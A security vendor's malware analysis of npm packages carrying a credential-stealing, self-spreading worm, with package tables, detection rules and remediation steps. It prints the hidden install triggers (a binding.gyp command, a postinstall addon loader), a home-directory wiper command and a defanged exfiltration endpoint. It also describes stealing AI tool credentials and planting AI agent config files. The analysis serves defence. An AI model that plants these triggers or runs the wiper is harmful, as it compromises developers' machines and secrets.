testmetest npm Packages Carry a Miasma-Family Worm

Kunal Singh9 min read
important

Update, 27 October 2026. A fourth account, testsecuiitytestme, published @testsecuiitytestme/cache-helper versions 1.0.1 to 1.0.3 with the same worm. The addon now starts the worm when an application imports the package, so --ignore-scripts does not protect you. See The load-time addon trigger.

note

Update, 26 October 2026. The operator moved to a third npm account, iobandamwer, and changed the install trigger. A postinstall script now loads a native Node.js addon that decrypts and starts the same worm. Detection rules that look only for binding.gyp miss these builds. The How it runs and Detection sections cover both triggers.

An operator is testing a Miasma-family npm worm in public. Between 19 and 27 October 2026, npm received 19 packages from the same operator. The accounts alexjoipamiba, testnewtestme, iobandamwer and testsecuiitytestme published eight of them. The malicious versions steal credentials, spread to other packages and repositories, and install a wiper that deletes the home directory when the victim revokes the stolen GitHub token.

The worm shares code with Miasma “Phantom Gyp” from June 2026 and adds the token-revocation wiper from Mini Shai-Hulud. SafeDep has not confirmed its exact lineage. The infrastructure, loader layout and strings differ from Miasma, which defeats published Miasma signatures for loader size, file hashes and marker strings. As of 22 October 2026, SafeDep has found no compromised third-party packages or victims. All observed activity belongs to the operator’s own test accounts.

The packages

Every package has a 0.0.0-stage version. npm staged publishing creates this placeholder, and legitimate packages carry the same stub, including its “Temporary Holding Version” README. The stub is not an indicator by itself. After the stub, the operator usually publishes a harmless 1.0.0 decoy, then a malicious patch version such as 0.0.1 that becomes latest.

The malicious versions of path-stream-utils-testmetest and @iobandamwer/native-helper keep the stub package.json fields and README. They add only a postinstall script, a one-line index.js and the binary files, so the registry page still shows an empty placeholder package.

npm replaced the three iobandamwer packages with 0.0.1-security placeholders on 26 October. Less than 20 hours later, the operator published @testsecuiitytestme/cache-helper from a new account.

As of 27 October 2026, @testsecuiitytestme/cache-helper is live, and 1.0.3 is latest. All 18 earlier packages are gone. Eleven left the registry on 21 October and two on 22 October. npm replaced the other five with 0.0.1-security placeholders. The table lists every known version.

testmetest-npm-worm-packages.csv
Rowecosystemnameversionpublished_utcpublisherroleverdictregistry_statustarball_sha1
1npmevent-bus-lite-testmetest0.0.0-stage2026-10-22T10:01:50Zalexjoipamibastubbenign-stubunpublished 2026-10-22T20:21Z71c000c6386010f8071bd424e100a72b986f1a87
2npmevent-bus-lite-testmetest1.0.02026-10-22T10:05:59Zalexjoipamibadecoybenign-decoyunpublished 2026-10-22T20:21Z2ee0dadb79432a6a48df1cb32eef4d0812dba611
3npmevent-bus-lite-testmetest0.0.12026-10-22T10:59:51Zalexjoipamibaarmedmaliciousunpublished 2026-10-22T20:21Z7c772b53c3fc70eeddaf0a8edad33abf23cddbe6
4npmretry-utils-testmetest0.0.0-stage2026-10-22T10:01:53Zalexjoipamibastubbenign-stubunpublished 2026-10-22T20:21Zc2bd0437b614be200d8f1965dc0879e8324edde2
5npmretry-utils-testmetest1.0.02026-10-22T10:03:10Zalexjoipamibadecoybenign-decoyunpublished 2026-10-22T20:21Z210b49478415049db47bd7738d0650c0a8ecd353
6npmsdk-utils-testmetest0.0.0-stage2026-10-19T10:18:30Ztestnewtestmestubbenign-stubremoved (npm security placeholder 0.0.1-security)9fd868109ef1f4b3d73cb14d37bffb600dc16893
7npmsdk-utils-testmetest1.0.02026-10-19T10:21:09Ztestnewtestmedecoybenign-decoyremoved (npm security placeholder 0.0.1-security)15ff00ecbb18941c703537976e79bb53f87542db
8npmkvarzo8f3atestmetest0.0.0-stage2026-10-20T22:51:16Ztestnewtestmestubbenign-stubremoved (npm security placeholder 0.0.1-security)c3846f5ec2841f6477961c8a3ed14c61100f8dfa
9npmkvarzo8f3atestmetest1.0.02026-10-20T22:53:55Ztestnewtestmedecoybenign-decoyremoved (npm security placeholder 0.0.1-security)bd4748edb152b93c720a63e2cac09de8e56bf9ec
10npmdata-pipeline-testmetest0.0.0-stage2026-10-21T10:32Zunknownstubunknownunpublished 2026-10-21T15:07:26Z
11npmdata-pipeline-testmetest1.0.02026-10-21T10:33Zunknowndecoy?unknownunpublished 2026-10-21T15:07:26Z
12npmdata-pipeline-testmetest2.0.02026-10-21T10:51Zunknownunknownunknownunpublished 2026-10-21T15:07:26Z
13npmdata-pipeline-testmetest2.0.12026-10-21T11:13Zunknownarmedmaliciousunpublished 2026-10-21T15:07:26Z
14npmevent-emitter-testmetest0.0.0-stage2026-10-21T10:56Zunknownstubunknownunpublished 2026-10-21T15:07:28Z
15npmevent-emitter-testmetest1.0.02026-10-21T11:02Zunknowndecoy?unknownunpublished 2026-10-21T15:07:28Z
16npmevent-emitter-testmetest1.0.52026-10-21T11:15Zunknownunknownunknownunpublished 2026-10-21T15:07:28Z
17npmevent-emitter-testmetest1.0.42026-10-21T11:16Zunknownscaffoldinvestigatingunpublished 2026-10-21T15:07:28Z
18npmevent-emitter-testmetest1.0.62026-10-21T11:34Zunknownunknownunknownunpublished 2026-10-21T15:07:28Z
19npmevent-emitter-testmetest1.0.72026-10-21T11:37Zunknownarmed (test)maliciousunpublished 2026-10-21T15:07:28Z
20npmevent-emitter-testmetest3.0.02026-10-21T11:50Zunknownunknownunknownunpublished 2026-10-21T15:07:28Z
62 rows · showing first 209 columns

The operator also runs test repositories on GitHub under CementBeetleSteeple, and most already contain the worm’s files. Do not clone or open them. The commits from CementBeetleSteeple use the same email address as the npm account testnewtestme.

The iobandamwer account belongs to the same operator. The first malicious build, @iobandamwer/cache-helper@1.0.2, downloads its loader from the repository CementBeetleSteeple/node-cache-utils. CementBeetleSteeple created that repository at 18:21:41 UTC on 24 October, 10 seconds before npm received the first version of @iobandamwer/cache-helper.

The testsecuiitytestme account (bahbahnabgda@atomicmail.io) belongs to the same operator. Its addons and decoded payload match the iobandamwer builds.

Related activity goes back to September. The GitHub account Meteordrewarm, registered 11 seconds before CementBeetleSteeple, ran the first exfiltration test on 19 September from root@vultr.guest. npm removed an earlier package from the same cluster, testmgkregme, on 12 October.

How it runs

The worm has used three triggers. The first two run during npm install. The third also runs when an application loads the package.

The binding.gyp trigger

The packages from alexjoipamiba and testnewtestme have no install scripts. npm runs node-gyp rebuild for any package that contains binding.gyp, and the sources field runs the loader:

// binding.gyp @ event-bus-lite-testmetest@0.0.1
"sources": ["<!(node index.js 1>/dev/null 2>/dev/null; echo stub.c)"]

index.js (14.8 KB) decrypts a Bun bootstrap and lib_native.dat (320 KB). The bootstrap finds or downloads Bun. The loader writes the decrypted payload to /tmp/.b-*/index.js, runs it with bun run, and deletes it.

The native addon trigger

The iobandamwer packages use a postinstall script that loads a native addon:

// package.json @ path-stream-utils-testmetest@0.0.2
"postinstall": "node -e \"try{require(process.platform==='win32'?'./addon_win.node':'./addon.node').init()}catch(e){}\""

addon.node is a 17 KB Linux x64 library and addon_win.node is a 713 KB Windows DLL. The Linux addon reads CI variables, container markers in /proc/1/cgroup, memory and CPU counts, and the TracerPid field. SafeDep infers that these checks gate execution in sandboxes, but did not trace every branch. The addon then reads .napi_cache, decodes it with the single-byte XOR key 0x96, forks into a new session, writes the result to /tmp/.<pid> and runs it with node.

The decoded .napi_cache begins with the same character-code loader as the binding.gyp builds. In path-stream-utils-testmetest@0.0.2 and @iobandamwer/cache-helper@1.0.8, it holds the main payload as a plain Bun bundle instead.

The version history of @iobandamwer/cache-helper shows the trigger under development. Version 1.0.2 downloads its loader from GitHub. Version 1.0.3 calls eth_getStorageAt on public Ethereum RPC endpoints and carries a list of IPFS gateways. SafeDep infers that it reads a payload location from contract storage. The contract address in its configuration is the zero address, so that build could not fetch anything. Version 1.0.4 and later carry the payload in the package.

The load-time addon trigger

@testsecuiitytestme/cache-helper keeps the addon, .napi_cache and the XOR key 0x96. The addon now runs its dropper from napi_register_module_v1, which Node.js calls when it loads the addon. The iobandamwer builds waited for an init() call. The package entry point loads the addon:

// index.js @ @testsecuiitytestme/cache-helper@1.0.3
module.exports = require('node-gyp-build')(__dirname)

Any application that imports the package starts the worm. npm install --ignore-scripts does not stop it.

Versions 1.0.2 and 1.0.3 use the standard prebuilt layout, prebuilds/<platform>/node.napi.node, with "postinstall": "node-gyp-build". This script loads the addon to test it, so the worm also starts at install time. The addon builds the XOR key from four bytes, so a byte search for 0x96 does not find it.

The decoded .napi_cache holds a new loader that replaces the character-code loader. It exits in CI, decodes the payload with a 32-byte XOR key and Brotli, and runs it with Bun.

What the payload does

The decoded payload from both install triggers contains the same command string, endpoint, persistence scripts and string cipher. The embedded sync.py in path-stream-utils-testmetest@0.0.2 has the same SHA-256 as the one in event-bus-lite-testmetest@0.0.1.

The testsecuiitytestme builds carry the same payload, including msync-3f7a, aiarmor.website and the wiper command.

  • Evasion
    • Exits on Russian and other Commonwealth of Independent States (CIS) locales, and on known analysis sandboxes.
    • In GitHub Actions, kills StepSecurity Harden-Runner through docker.sock and points *.stepsecurity.io to localhost. Exits if this fails.
  • Credential theft
    • SSH keys, npm, PyPI and Git credentials, .env files, browser logins.
    • AI tool credentials for Claude, Codex, Gemini and Copilot.
    • AWS, GCP, Azure, Vault and Kubernetes secrets.
    • GitHub Actions secrets from Runner.Worker process memory.
  • Exfiltration
    • Commits encrypted data to a new public repository on the victim’s GitHub account, named like smart-workers-48213 with the description project-utils.
    • The commit message starts with AutoSyncComplete: and carries the victim’s GitHub token, encrypted with a hardcoded key. Other infections search for these commits to reuse the tokens.
    • Fallback endpoint: hxxps://aiarmor[.]website/v1/api.
    • Injects a GitLab CI job named cache_sync. It sends the CI environment to a /collect endpoint and requests npm and PyPI OpenID Connect (OIDC) tokens.
  • Propagation
    • Adds the loader to the victim’s npm packages and publishes a new patch version. The newer build writes addon.node, addon_win.node, .napi_cache and the postinstall script.
    • The newest builds use the prebuilds/ layout and name macOS targets. No package ships a macOS addon yet.
    • Republishes to PyPI, RubyGems and JFrog.
    • Commits a fake CodeQL workflow and AI agent files (.claude/settings.json, .cursor/mcp.json, CLAUDE.md, AGENTS.md, .vscode/tasks.json), the loader .github/init.js and a Windows loader .github/init.ps1 to GitHub and GitLab repositories. Injected commits copy the author and message of the most recent real commit on the branch, with github-actions as a fallback.
    • Copies itself over SSH to the hosts in each user’s known_hosts file.
  • Persistence
    • net-health-checker checks the stolen GitHub token every 45 seconds for 48 hours. On 401 or 403 it runs rm -rf ~/; rm -rf ~/Documents.
    • pkg-runtime runs sync.py. Every hour it searches GitHub commits for msync-3f7a, then downloads and runs a Python script from a URL that the attacker’s RSA key signed.

What changed from Miasma

SafeDep does not attribute this variant to the original Miasma operators. The Shai-Hulud source has been public since May 2026, so other groups can build on it.

Detection

  • A binding.gyp target whose sources contains <!(node and hides output, in a package without C or C++ sources.
  • A postinstall script that calls require() on a .node file and discards errors, in a package with no build configuration or native source. Combine this with a large high-entropy file such as .napi_cache next to the addon.
  • Prebuilt addons in prebuilds/<platform>/ with no native source, next to a large high-entropy file. This rule does not depend on install scripts.
  • A native addon that contains %s/.napi_cache and /tmp/.%u (Linux), or %s\.napi_cache and %s.nc%lu.js (Windows).
  • A high-entropy .dat or .bin file next to a small index.js with a large character-code array and eval.
  • A package that keeps "stub": true and the staged publishing description in a version other than 0.0.0-stage.
  • Supporting signals, combined with the rules above: a bun dependency in package.json, or a 0.0.x latest version published after 1.0.0.
  • The binding.gyp and iobandamwer builds use the same loader template. In the native addon builds, it appears only after XOR decoding with 0x96: (function(){var _r=0,_s=1,_t=2;try{eval((function(d,k){return d.replace(/[a-zA-Z]/g,
  • The testsecuiitytestme builds use a different loader after XOR decoding with 0x96. Look for _zl['brotliDecompress'+'Sync'](_x) and bun-v1.2.18 together in one file.
  • After decoding: globalThis.getBunPath, msync-3f7a, aiarmor.website, net-health-checker.

Apply the trigger rules to every package. A real attack will come through compromised maintainer accounts with normal package names.

Remediation

  1. Disconnect the host from the network.

  2. Remove persistence first. On Linux:

    systemctl --user disable --now net-health-checker pkg-runtime
    rm -rf ~/.local/bin/net-health-checker.sh ~/.config/net-health-checker \
           ~/.config/systemd/user/{net-health-checker,pkg-runtime}.service \
           ~/.local/share/runtimes /var/tmp/.fontconfig_state

    On macOS:

    launchctl bootout gui/$(id -u) ~/Library/LaunchAgents/com.user.{net-health-checker,pkg-runtime}.plist

    Then delete those two .plist files.

  3. Rotate all credentials: Git hosts, package registries, cloud, Vault, Kubernetes, SSH and AI providers.

  4. Check your accounts for new project-utils repositories, unexpected patch releases, and commits that add .claude/, .cursor/, .gemini/, .vscode/tasks.json, .github/init.js, CLAUDE.md or AGENTS.md, and for commits whose message starts with AutoSyncComplete:. The agent files infect the host again. Check your npm packages for unexpected addon.node, addon_win.node, prebuilds/*/node.napi.node or .napi_cache files.

  5. Reinstall the operating system on the host.

Indicators of compromise

See the packages for the full list of package versions.

Each build uses new keys, so payload hashes change in every version. Every iobandamwer build also has a different addon.node hash. SafeDep decoded event-bus-lite-testmetest@0.0.1, the iobandamwer builds and the testsecuiitytestme builds using static analysis only.

  • malware
  • npm
  • supply-chain
  • miasma
  • shai-hulud
  • worm

Author

Kunal Singh

Kunal Singh

safedep.io

Share

Ship Code.Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.